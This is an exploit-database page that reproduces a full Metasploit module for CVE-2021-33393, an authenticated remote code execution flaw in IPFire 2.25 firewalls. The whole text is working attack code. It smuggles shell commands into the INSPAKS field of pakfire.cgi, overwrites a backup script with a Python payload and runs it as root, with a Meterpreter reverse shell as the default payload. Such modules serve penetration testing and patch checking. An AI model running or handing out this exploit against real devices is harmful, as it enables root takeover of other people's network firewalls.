Exploit for IPFire 2.25 Remote Code Execution CVE-2021-33393

## https://sploitus.com/exploit?id=PACKETSTORM:163158
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability in the  
/cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156  
and prior to execute arbitrary code as the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mücahit Saratar <trregen222@gmail.com>', # vulnerability research & exploit development  
'Grant Willcox' # Module enhancements and documentation fixes.  
],  
'References' =>  
[  
[ 'EDB', '49869' ],  
[ 'CVE', '2021-33393'],  
[ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'],  
[ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'],  
],  
'Platform' => ['python' ],  
'Privileged' => true,  
'Arch' => [ ARCH_PYTHON ],  
'Targets' =>  
[  
[  
'Python Dropper',  
{  
'Platform' => 'python',  
'Arch' => [ ARCH_PYTHON ],  
'Type' => :unix_memory,  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DisclosureDate' => '2021-05-17',  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ]  
},  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(444),  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', '']),  
]  
)  
end  
  
def vpath  
'/cgi-bin/pakfire.cgi' # vulnerable path  
end  
  
def send_packet(method, execstr, waitsec)  
myheaders = {  
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/"  
}  
if method == 'GET'  
response = send_request_cgi(  
'uri' => vpath,  
'headers' => myheaders,  
'SSL' => true,  
'timeout' => waitsec  
)  
else  
response = send_request_cgi(  
'uri' => vpath,  
'headers' => myheaders,  
'SSL' => true,  
'method' => 'POST',  
'vars_post' => {  
'INSPAKS' => ";#{execstr}",  
'ACTION' => 'install',  
'x' => Rex::Text.rand_text_numeric(2),  
'y' => Rex::Text.rand_text_numeric(2)  
},  
'timeout' => waitsec  
)  
end  
response  
end  
  
def check  
cevap = send_packet('GET', '', 10)  
if cevap.nil? || cevap.body.empty?  
return CheckCode::Unknown('No response from the target!')  
end  
  
unless cevap.body.scan(/401 Unauthorized/).empty?  
return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')  
end  
  
version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''  
core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''  
unless version  
return CheckCode::Safe('Target is not IPFire')  
end  
if core.to_i >= 157  
return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")  
end  
  
CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")  
end  
  
def exploit  
temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30)  
print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...")  
if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil?  
fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!")  
end  
  
print_status('Overwriting the contents of backup.pl with a Python header statement')  
if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil?  
fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")  
end  
  
print_status('Appending the contents of backup.pl with the Python code to be executed.')  
if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil?  
fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")  
end  
  
print_status('Executing /usr/local/bin/backupctrl to run the payload')  
unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil?  
fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')  
end  
  
print_good('You should now have your shell, restoring the original contents of the backup.pl file...')  
if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?  
fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")  
end  
  
print_status('All done, enjoy the shells!')  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end